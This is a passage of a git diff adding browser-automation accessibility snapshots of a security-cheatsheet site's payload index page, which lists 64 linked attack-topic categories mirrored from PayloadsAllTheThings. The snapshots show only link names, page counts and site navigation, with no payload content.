+        - link "52 payload SQL Injection 10 pages" [ref=f3e1235] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/sql-injection
+          - generic [ref=f3e1236]:
+            - generic [ref=f3e1237]: "52"
+            - generic [ref=f3e1238]: payload
+            - generic [ref=f3e1242]: SQL Injection
+            - generic [ref=f3e1243]: 10 pages
+        - link "53 payload Tabnabbing 1 page" [ref=f3e1247] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/tabnabbing
+          - generic [ref=f3e1248]:
+            - generic [ref=f3e1249]: "53"
+            - generic [ref=f3e1250]: payload
+            - generic [ref=f3e1254]: Tabnabbing
+            - generic [ref=f3e1255]: 1 page
+        - link "54 payload Type Juggling 1 page" [ref=f3e1259] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/type-juggling
+          - generic [ref=f3e1260]:
+            - generic [ref=f3e1261]: "54"
+            - generic [ref=f3e1262]: payload
+            - generic [ref=f3e1266]: Type Juggling
+            - generic [ref=f3e1267]: 1 page
+        - link "55 payload Upload Insecure Files 2 pages" [ref=f3e1271] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/upload-insecure-files
+          - generic [ref=f3e1272]:
+            - generic [ref=f3e1273]: "55"
+            - generic [ref=f3e1274]: payload
+            - generic [ref=f3e1278]: Upload Insecure Files
+            - generic [ref=f3e1279]: 2 pages
+        - link "56 payload Virtual Hosts 1 page" [ref=f3e1283] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/virtual-hosts
+          - generic [ref=f3e1284]:
+            - generic [ref=f3e1285]: "56"
+            - generic [ref=f3e1286]: payload
+            - generic [ref=f3e1290]: Virtual Hosts
+            - generic [ref=f3e1291]: 1 page
+        - link "57 payload Web Cache Deception 1 page" [ref=f3e1295] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-cache-deception
+          - generic [ref=f3e1296]:
+            - generic [ref=f3e1297]: "57"
+            - generic [ref=f3e1298]: payload
+            - generic [ref=f3e1302]: Web Cache Deception
+            - generic [ref=f3e1303]: 1 page
+        - link "58 payload Web Sockets 1 page" [ref=f3e1307] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-sockets
+          - generic [ref=f3e1308]:
+            - generic [ref=f3e1309]: "58"
+            - generic [ref=f3e1310]: payload
+            - generic [ref=f3e1314]: Web Sockets
+            - generic [ref=f3e1315]: 1 page
+        - link "59 payload XPATH Injection 1 page" [ref=f3e1319] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xpath-injection
+          - generic [ref=f3e1320]:
+            - generic [ref=f3e1321]: "59"
+            - generic [ref=f3e1322]: payload
+            - generic [ref=f3e1326]: XPATH Injection
+            - generic [ref=f3e1327]: 1 page
+        - link "60 payload XS-Leak 1 page" [ref=f3e1331] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xs-leak
+          - generic [ref=f3e1332]:
+            - generic [ref=f3e1333]: "60"
+            - generic [ref=f3e1334]: payload
+            - generic [ref=f3e1338]: XS-Leak
+            - generic [ref=f3e1339]: 1 page
+        - link "61 payload XSLT Injection 1 page" [ref=f3e1343] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xslt-injection
+          - generic [ref=f3e1344]:
+            - generic [ref=f3e1345]: "61"
+            - generic [ref=f3e1346]: payload
+            - generic [ref=f3e1350]: XSLT Injection
+            - generic [ref=f3e1351]: 1 page
+        - link "62 payload XSS Injection 6 pages" [ref=f3e1355] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xss-injection
+          - generic [ref=f3e1356]:
+            - generic [ref=f3e1357]: "62"
+            - generic [ref=f3e1358]: payload
+            - generic [ref=f3e1362]: XSS Injection
+            - generic [ref=f3e1363]: 6 pages
+        - link "63 payload XXE Injection 1 page" [ref=f3e1367] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xxe-injection
+          - generic [ref=f3e1368]:
+            - generic [ref=f3e1369]: "63"
+            - generic [ref=f3e1370]: payload
+            - generic [ref=f3e1374]: XXE Injection
+            - generic [ref=f3e1375]: 1 page
+        - link "64 payload Zip Slip 1 page" [ref=f3e1379] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/zip-slip
+          - generic [ref=f3e1380]:
+            - generic [ref=f3e1381]: "64"
+            - generic [ref=f3e1382]: payload
+            - generic [ref=f3e1386]: Zip Slip
+            - generic [ref=f3e1387]: 1 page
+  - contentinfo [ref=f3e1391]:
+    - generic [ref=f3e1392]:
+      - generic [ref=f3e1393]:
+        - link "DÆMON // SEC" [ref=f3e1394] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f3e1395]: //
+          - text: SEC
+        - paragraph [ref=f3e1396]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f3e1397]:
+        - link "daemon-404.github.io β†—" [ref=f3e1398] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f3e1399] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f3e1400]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f3e1401] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f3e1402] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f3e1403]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f3e1404]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-05-59-712Z.yml b/.playwright-mcp/page-2026-08-10T08-05-59-712Z.yml
@@ -0,0 +1,547 @@
+- generic [ref=f3e550]:
+  - banner [ref=f3e551]:
+    - generic [ref=f3e552]:
+      - link "DÆMON//SEC home" [ref=f3e553] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f3e554]: //
+        - text: SEC
+        - generic [ref=f3e555]: _
+      - navigation "Primary" [ref=f3e556]:
+        - link "01 Vault" [ref=f3e557] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f3e558]: "01"
+          - generic [ref=f3e559]: Vault
+        - link "02 Payloads" [ref=f3e560] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f3e561]: "02"
+          - generic [ref=f3e562]: Payloads
+        - link "03 Tags" [ref=f3e563] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f3e564]: "03"
+          - generic [ref=f3e565]: Tags
+        - link "04 Credits" [ref=f3e566] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f3e567]: "04"
+          - generic [ref=f3e568]: Credits
+      - generic [ref=f3e569]:
+        - button "Search cheatsheets" [active] [ref=f3e570] [cursor=pointer]:
+          - generic [ref=f3e573]: Search
+          - generic [ref=f3e574]: /
+        - button "Toggle theme" [ref=f3e575] [cursor=pointer]
+        - link "DÆMON main site" [ref=f3e580] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f3e583] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f3e586]:
+    - generic [ref=f3e589]:
+      - generic [ref=f3e590]:
+        - paragraph [ref=f3e591]:
+          - generic [ref=f3e592]: "02"
+          - generic [ref=f3e593]: "^:"
+          - generic [ref=f3e594]: Full mirror Β· MIT
+        - heading "PayloadsAllTheThings" [level=1] [ref=f3e596]
+        - paragraph [ref=f3e597]: A complete on-site mirror of swisskyrepo's payload and bypass reference β€” searchable offline, every page linked back to source.
+      - generic [ref=f3e598]:
+        - generic [ref=f3e599]:
+          - term [ref=f3e600]: Topics
+          - definition [ref=f3e601]: "64"
+        - generic [ref=f3e602]:
+          - term [ref=f3e603]: Pages
+          - definition [ref=f3e604]: "135"
+        - generic [ref=f3e605]:
+          - term [ref=f3e606]: License
+          - definition [ref=f3e607]: MIT
+    - generic [ref=f3e608]:
+      - navigation [ref=f3e609]:
+        - link "~" [ref=f3e610] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f3e611]: /
+        - generic [ref=f3e612]: payloads
+      - complementary [ref=f3e613]:
+        - generic [ref=f3e614]: mirror
+        - generic [ref=f3e615]:
+          - text: Mirrored verbatim from the upstream repo. Images and raw payload files load from GitHub; see each page's
+          - emphasis [ref=f3e616]: source
+          - text: link.
+          - generic [ref=f3e617]:
+            - text: MIT Β·
+            - link "full credits & license" [ref=f3e618] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/credits
+            - text: Β·
+            - code [ref=f3e619]: 3bff425
+        - link "upstream" [ref=f3e620] [cursor=pointer]:
+          - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+      - generic [ref=f3e622]:
+        - link "01 payload Account Takeover 2 pages" [ref=f3e623] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/account-takeover
+          - generic [ref=f3e624]:
+            - generic [ref=f3e625]: "01"
+            - generic [ref=f3e626]: payload
+            - generic [ref=f3e630]: Account Takeover
+            - generic [ref=f3e631]: 2 pages
+        - link "02 payload API Key Leaks 2 pages" [ref=f3e635] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/api-key-leaks
+          - generic [ref=f3e636]:
+            - generic [ref=f3e637]: "02"
+            - generic [ref=f3e638]: payload
+            - generic [ref=f3e642]: API Key Leaks
+            - generic [ref=f3e643]: 2 pages
+        - link "03 payload Brute Force Rate Limit 1 page" [ref=f3e647] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/brute-force-rate-limit
+          - generic [ref=f3e648]:
+            - generic [ref=f3e649]: "03"
+            - generic [ref=f3e650]: payload
+            - generic [ref=f3e654]: Brute Force Rate Limit
+            - generic [ref=f3e655]: 1 page
+        - link "04 payload Business Logic Errors 1 page" [ref=f3e659] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/business-logic-errors
+          - generic [ref=f3e660]:
+            - generic [ref=f3e661]: "04"
+            - generic [ref=f3e662]: payload
+            - generic [ref=f3e666]: Business Logic Errors
+            - generic [ref=f3e667]: 1 page
+        - link "05 payload Clickjacking 1 page" [ref=f3e671] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/clickjacking
+          - generic [ref=f3e672]:
+            - generic [ref=f3e673]: "05"
+            - generic [ref=f3e674]: payload
+            - generic [ref=f3e678]: Clickjacking
+            - generic [ref=f3e679]: 1 page
+        - link "06 payload Client Side Path Traversal 1 page" [ref=f3e683] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/client-side-path-traversal
+          - generic [ref=f3e684]:
+            - generic [ref=f3e685]: "06"
+            - generic [ref=f3e686]: payload
+            - generic [ref=f3e690]: Client Side Path Traversal
+            - generic [ref=f3e691]: 1 page
+        - link "07 payload Command Injection 1 page" [ref=f3e695] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/command-injection
+          - generic [ref=f3e696]:
+            - generic [ref=f3e697]: "07"
+            - generic [ref=f3e698]: payload
+            - generic [ref=f3e702]: Command Injection
+            - generic [ref=f3e703]: 1 page
+        - link "08 payload CORS Misconfiguration 1 page" [ref=f3e707] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cors-misconfiguration
+          - generic [ref=f3e708]:
+            - generic [ref=f3e709]: "08"
+            - generic [ref=f3e710]: payload
+            - generic [ref=f3e714]: CORS Misconfiguration
+            - generic [ref=f3e715]: 1 page
+        - link "09 payload CRLF Injection 1 page" [ref=f3e719] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/crlf-injection
+          - generic [ref=f3e720]:
+            - generic [ref=f3e721]: "09"
+            - generic [ref=f3e722]: payload
+            - generic [ref=f3e726]: CRLF Injection
+            - generic [ref=f3e727]: 1 page
+        - link "10 payload Cross-Site Request Forgery 1 page" [ref=f3e731] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cross-site-request-forgery
+          - generic [ref=f3e732]:
+            - generic [ref=f3e733]: "10"
+            - generic [ref=f3e734]: payload
+            - generic [ref=f3e738]: Cross-Site Request Forgery
+            - generic [ref=f3e739]: 1 page
+        - link "11 payload CSS Injection 1 page" [ref=f3e743] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/css-injection
+          - generic [ref=f3e744]:
+            - generic [ref=f3e745]: "11"
+            - generic [ref=f3e746]: payload
+            - generic [ref=f3e750]: CSS Injection
+            - generic [ref=f3e751]: 1 page
+        - link "12 payload CSV Injection 1 page" [ref=f3e755] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/csv-injection
+          - generic [ref=f3e756]:
+            - generic [ref=f3e757]: "12"
+            - generic [ref=f3e758]: payload
+            - generic [ref=f3e762]: CSV Injection
+            - generic [ref=f3e763]: 1 page
+        - link "13 payload CVE Exploits 2 pages" [ref=f3e767] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cve-exploits
+          - generic [ref=f3e768]:
+            - generic [ref=f3e769]: "13"
+            - generic [ref=f3e770]: payload
+            - generic [ref=f3e774]: CVE Exploits
+            - generic [ref=f3e775]: 2 pages
+        - link "14 payload Denial of Service 1 page" [ref=f3e779] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/denial-of-service
+          - generic [ref=f3e780]:
+            - generic [ref=f3e781]: "14"
+            - generic [ref=f3e782]: payload
+            - generic [ref=f3e786]: Denial of Service
+            - generic [ref=f3e787]: 1 page
+        - link "15 payload Dependency Confusion 1 page" [ref=f3e791] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dependency-confusion
+          - generic [ref=f3e792]:
+            - generic [ref=f3e793]: "15"
+            - generic [ref=f3e794]: payload
+            - generic [ref=f3e798]: Dependency Confusion
+            - generic [ref=f3e799]: 1 page
+        - link "16 payload Directory Traversal 1 page" [ref=f3e803] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/directory-traversal
+          - generic [ref=f3e804]:
+            - generic [ref=f3e805]: "16"
+            - generic [ref=f3e806]: payload
+            - generic [ref=f3e810]: Directory Traversal
+            - generic [ref=f3e811]: 1 page
+        - link "17 payload DNS Rebinding 1 page" [ref=f3e815] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dns-rebinding
+          - generic [ref=f3e816]:
+            - generic [ref=f3e817]: "17"
+            - generic [ref=f3e818]: payload
+            - generic [ref=f3e822]: DNS Rebinding
+            - generic [ref=f3e823]: 1 page
+        - link "18 payload DOM Clobbering 1 page" [ref=f3e827] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dom-clobbering
+          - generic [ref=f3e828]:
+            - generic [ref=f3e829]: "18"
+            - generic [ref=f3e830]: payload
+            - generic [ref=f3e834]: DOM Clobbering
+            - generic [ref=f3e835]: 1 page
+        - link "19 payload Encoding Transformations 1 page" [ref=f3e839] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/encoding-transformations
+          - generic [ref=f3e840]:
+            - generic [ref=f3e841]: "19"
+            - generic [ref=f3e842]: payload
+            - generic [ref=f3e846]: Encoding Transformations
+            - generic [ref=f3e847]: 1 page
+        - link "20 payload External Variable Modification 1 page" [ref=f3e851] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/external-variable-modification
+          - generic [ref=f3e852]:
+            - generic [ref=f3e853]: "20"
+            - generic [ref=f3e854]: payload
+            - generic [ref=f3e858]: External Variable Modification
+            - generic [ref=f3e859]: 1 page
+        - link "21 payload File Inclusion 3 pages" [ref=f3e863] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/file-inclusion
+          - generic [ref=f3e864]:
+            - generic [ref=f3e865]: "21"
+            - generic [ref=f3e866]: payload
+            - generic [ref=f3e870]: File Inclusion
+            - generic [ref=f3e871]: 3 pages
+        - link "22 payload Google Web Toolkit 1 page" [ref=f3e875] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/google-web-toolkit
+          - generic [ref=f3e876]:
+            - generic [ref=f3e877]: "22"
+            - generic [ref=f3e878]: payload
+            - generic [ref=f3e882]: Google Web Toolkit
+            - generic [ref=f3e883]: 1 page
+        - link "23 payload GraphQL Injection 1 page" [ref=f3e887] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/graphql-injection
+          - generic [ref=f3e888]:
+            - generic [ref=f3e889]: "23"
+            - generic [ref=f3e890]: payload
+            - generic [ref=f3e894]: GraphQL Injection
+            - generic [ref=f3e895]: 1 page
+        - link "24 payload Headless Browser 1 page" [ref=f3e899] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/headless-browser
+          - generic [ref=f3e900]:
+            - generic [ref=f3e901]: "24"
+            - generic [ref=f3e902]: payload
+            - generic [ref=f3e906]: Headless Browser
+            - generic [ref=f3e907]: 1 page
+        - link "25 payload Hidden Parameters 1 page" [ref=f3e911] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/hidden-parameters
+          - generic [ref=f3e912]:
+            - generic [ref=f3e913]: "25"
+            - generic [ref=f3e914]: payload
+            - generic [ref=f3e918]: Hidden Parameters
+            - generic [ref=f3e919]: 1 page
+        - link "26 payload HTTP Parameter Pollution 1 page" [ref=f3e923] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/http-parameter-pollution
+          - generic [ref=f3e924]:
+            - generic [ref=f3e925]: "26"
+            - generic [ref=f3e926]: payload
+            - generic [ref=f3e930]: HTTP Parameter Pollution
+            - generic [ref=f3e931]: 1 page
+        - link "27 payload Insecure Deserialization 7 pages" [ref=f3e935] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-deserialization
+          - generic [ref=f3e936]:
+            - generic [ref=f3e937]: "27"
+            - generic [ref=f3e938]: payload
+            - generic [ref=f3e942]: Insecure Deserialization
+            - generic [ref=f3e943]: 7 pages
+        - link "28 payload Insecure Direct Object References 1 page" [ref=f3e947] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-direct-object-references
+          - generic [ref=f3e948]:
+            - generic [ref=f3e949]: "28"
+            - generic [ref=f3e950]: payload
+            - generic [ref=f3e954]: Insecure Direct Object References
+            - generic [ref=f3e955]: 1 page
+        - link "29 payload Insecure Management Interface 1 page" [ref=f3e959] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-management-interface
+          - generic [ref=f3e960]:
+            - generic [ref=f3e961]: "29"
+            - generic [ref=f3e962]: payload
+            - generic [ref=f3e966]: Insecure Management Interface
+            - generic [ref=f3e967]: 1 page
+        - link "30 payload Insecure Randomness 1 page" [ref=f3e971] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-randomness
+          - generic [ref=f3e972]:
+            - generic [ref=f3e973]: "30"
+            - generic [ref=f3e974]: payload
+            - generic [ref=f3e978]: Insecure Randomness
+            - generic [ref=f3e979]: 1 page
+        - link "31 payload Insecure Source Code Management 5 pages" [ref=f3e983] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-source-code-management
+          - generic [ref=f3e984]:
+            - generic [ref=f3e985]: "31"
+            - generic [ref=f3e986]: payload
+            - generic [ref=f3e990]: Insecure Source Code Management
+            - generic [ref=f3e991]: 5 pages
+        - link "32 payload Java RMI 1 page" [ref=f3e995] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/java-rmi
+          - generic [ref=f3e996]:
+            - generic [ref=f3e997]: "32"
+            - generic [ref=f3e998]: payload
+            - generic [ref=f3e1002]: Java RMI
+            - generic [ref=f3e1003]: 1 page
+        - link "33 payload JSON Web Token 1 page" [ref=f3e1007] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/json-web-token
+          - generic [ref=f3e1008]:
+            - generic [ref=f3e1009]: "33"
+            - generic [ref=f3e1010]: payload
+            - generic [ref=f3e1014]: JSON Web Token
+            - generic [ref=f3e1015]: 1 page
+        - link "34 payload LaTeX Injection 1 page" [ref=f3e1019] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/latex-injection
+          - generic [ref=f3e1020]:
+            - generic [ref=f3e1021]: "34"
+            - generic [ref=f3e1022]: payload
+            - generic [ref=f3e1026]: LaTeX Injection
+            - generic [ref=f3e1027]: 1 page
+        - link "35 payload LDAP Injection 1 page" [ref=f3e1031] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/ldap-injection
+          - generic [ref=f3e1032]:
+            - generic [ref=f3e1033]: "35"
+            - generic [ref=f3e1034]: payload
+            - generic [ref=f3e1038]: LDAP Injection
+            - generic [ref=f3e1039]: 1 page
+        - link "36 payload Mass Assignment 1 page" [ref=f3e1043] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/mass-assignment
+          - generic [ref=f3e1044]:
+            - generic [ref=f3e1045]: "36"
+            - generic [ref=f3e1046]: payload
+            - generic [ref=f3e1050]: Mass Assignment
+            - generic [ref=f3e1051]: 1 page
+        - link "37 payload Methodology and Resources 33 pages" [ref=f3e1055] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/methodology-and-resources
+          - generic [ref=f3e1056]:
+            - generic [ref=f3e1057]: "37"
+            - generic [ref=f3e1058]: payload
+            - generic [ref=f3e1062]: Methodology and Resources
+            - generic [ref=f3e1063]: 33 pages
+        - link "38 payload NoSQL Injection 1 page" [ref=f3e1067] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/nosql-injection
+          - generic [ref=f3e1068]:
+            - generic [ref=f3e1069]: "38"
+            - generic [ref=f3e1070]: payload
+            - generic [ref=f3e1074]: NoSQL Injection
+            - generic [ref=f3e1075]: 1 page
+        - link "39 payload OAuth Misconfiguration 1 page" [ref=f3e1079] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/oauth-misconfiguration
+          - generic [ref=f3e1080]:
+            - generic [ref=f3e1081]: "39"
+            - generic [ref=f3e1082]: payload
+            - generic [ref=f3e1086]: OAuth Misconfiguration
+            - generic [ref=f3e1087]: 1 page
+        - link "40 payload Open Redirect 1 page" [ref=f3e1091] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/open-redirect
+          - generic [ref=f3e1092]:
+            - generic [ref=f3e1093]: "40"
+            - generic [ref=f3e1094]: payload
+            - generic [ref=f3e1098]: Open Redirect
+            - generic [ref=f3e1099]: 1 page
+        - link "41 payload ORM Leak 1 page" [ref=f3e1103] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/orm-leak
+          - generic [ref=f3e1104]:
+            - generic [ref=f3e1105]: "41"
+            - generic [ref=f3e1106]: payload
+            - generic [ref=f3e1110]: ORM Leak
+            - generic [ref=f3e1111]: 1 page
+        - link "42 payload Prompt Injection 1 page" [ref=f3e1115] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prompt-injection
+          - generic [ref=f3e1116]:
+            - generic [ref=f3e1117]: "42"
+            - generic [ref=f3e1118]: payload
+            - generic [ref=f3e1122]: Prompt Injection
+            - generic [ref=f3e1123]: 1 page
+        - link "43 payload Prototype Pollution 1 page" [ref=f3e1127] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prototype-pollution
+          - generic [ref=f3e1128]:
+            - generic [ref=f3e1129]: "43"
+            - generic [ref=f3e1130]: payload
+            - generic [ref=f3e1134]: Prototype Pollution
+            - generic [ref=f3e1135]: 1 page
+        - link "44 payload Race Condition 1 page" [ref=f3e1139] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/race-condition
+          - generic [ref=f3e1140]:
+            - generic [ref=f3e1141]: "44"
+            - generic [ref=f3e1142]: payload
+            - generic [ref=f3e1146]: Race Condition
+            - generic [ref=f3e1147]: 1 page
+        - link "45 payload Regular Expression 1 page" [ref=f3e1151] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/regular-expression
+          - generic [ref=f3e1152]:
+            - generic [ref=f3e1153]: "45"
+            - generic [ref=f3e1154]: payload
+            - generic [ref=f3e1158]: Regular Expression
+            - generic [ref=f3e1159]: 1 page
+        - link "46 payload Request Smuggling 1 page" [ref=f3e1163] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/request-smuggling
+          - generic [ref=f3e1164]:
+            - generic [ref=f3e1165]: "46"
+            - generic [ref=f3e1166]: payload
+            - generic [ref=f3e1170]: Request Smuggling
+            - generic [ref=f3e1171]: 1 page
+        - link "47 payload Reverse Proxy Misconfigurations 1 page" [ref=f3e1175] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/reverse-proxy-misconfigurations
+          - generic [ref=f3e1176]:
+            - generic [ref=f3e1177]: "47"
+            - generic [ref=f3e1178]: payload
+            - generic [ref=f3e1182]: Reverse Proxy Misconfigurations
+            - generic [ref=f3e1183]: 1 page
+        - link "48 payload SAML Injection 1 page" [ref=f3e1187] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/saml-injection
+          - generic [ref=f3e1188]:
+            - generic [ref=f3e1189]: "48"
+            - generic [ref=f3e1190]: payload
+            - generic [ref=f3e1194]: SAML Injection
+            - generic [ref=f3e1195]: 1 page
+        - link "49 payload Server Side Include Injection 1 page" [ref=f3e1199] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-include-injection
+          - generic [ref=f3e1200]:
+            - generic [ref=f3e1201]: "49"
+            - generic [ref=f3e1202]: payload
+            - generic [ref=f3e1206]: Server Side Include Injection
+            - generic [ref=f3e1207]: 1 page
+        - link "50 payload Server Side Request Forgery 3 pages" [ref=f3e1211] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery
+          - generic [ref=f3e1212]:
+            - generic [ref=f3e1213]: "50"
+            - generic [ref=f3e1214]: payload
+            - generic [ref=f3e1218]: Server Side Request Forgery
+            - generic [ref=f3e1219]: 3 pages
+        - link "51 payload Server Side Template Injection 8 pages" [ref=f3e1223] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-template-injection
+          - generic [ref=f3e1224]:
+            - generic [ref=f3e1225]: "51"
+            - generic [ref=f3e1226]: payload
+            - generic [ref=f3e1230]: Server Side Template Injection
+            - generic [ref=f3e1231]: 8 pages
+        - link "52 payload SQL Injection 10 pages" [ref=f3e1235] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/sql-injection
+          - generic [ref=f3e1236]:
+            - generic [ref=f3e1237]: "52"
+            - generic [ref=f3e1238]: payload
+            - generic [ref=f3e1242]: SQL Injection
+            - generic [ref=f3e1243]: 10 pages
+        - link "53 payload Tabnabbing 1 page" [ref=f3e1247] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/tabnabbing
+          - generic [ref=f3e1248]:
+            - generic [ref=f3e1249]: "53"
+            - generic [ref=f3e1250]: payload
+            - generic [ref=f3e1254]: Tabnabbing
+            - generic [ref=f3e1255]: 1 page
+        - link "54 payload Type Juggling 1 page" [ref=f3e1259] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/type-juggling
+          - generic [ref=f3e1260]:
+            - generic [ref=f3e1261]: "54"
+            - generic [ref=f3e1262]: payload
+            - generic [ref=f3e1266]: Type Juggling
+            - generic [ref=f3e1267]: 1 page
+        - link "55 payload Upload Insecure Files 2 pages" [ref=f3e1271] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/upload-insecure-files
+          - generic [ref=f3e1272]:
+            - generic [ref=f3e1273]: "55"
+            - generic [ref=f3e1274]: payload
+            - generic [ref=f3e1278]: Upload Insecure Files
+            - generic [ref=f3e1279]: 2 pages
+        - link "56 payload Virtual Hosts 1 page" [ref=f3e1283] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/virtual-hosts
+          - generic [ref=f3e1284]:
+            - generic [ref=f3e1285]: "56"
+            - generic [ref=f3e1286]: payload
+            - generic [ref=f3e1290]: Virtual Hosts
+            - generic [ref=f3e1291]: 1 page
+        - link "57 payload Web Cache Deception 1 page" [ref=f3e1295] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-cache-deception
+          - generic [ref=f3e1296]:
+            - generic [ref=f3e1297]: "57"
+            - generic [ref=f3e1298]: payload
+            - generic [ref=f3e1302]: Web Cache Deception
+            - generic [ref=f3e1303]: 1 page
+        - link "58 payload Web Sockets 1 page" [ref=f3e1307] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-sockets
+          - generic [ref=f3e1308]:
+            - generic [ref=f3e1309]: "58"
+            - generic [ref=f3e1310]: payload
+            - generic [ref=f3e1314]: Web Sockets
+            - generic [ref=f3e1315]: 1 page
+        - link "59 payload XPATH Injection 1 page" [ref=f3e1319] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xpath-injection
+          - generic [ref=f3e1320]:
+            - generic [ref=f3e1321]: "59"
+            - generic [ref=f3e1322]: payload
+            - generic [ref=f3e1326]: XPATH Injection
+            - generic [ref=f3e1327]: 1 page
+        - link "60 payload XS-Leak 1 page" [ref=f3e1331] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xs-leak
+          - generic [ref=f3e1332]:
+            - generic [ref=f3e1333]: "60"
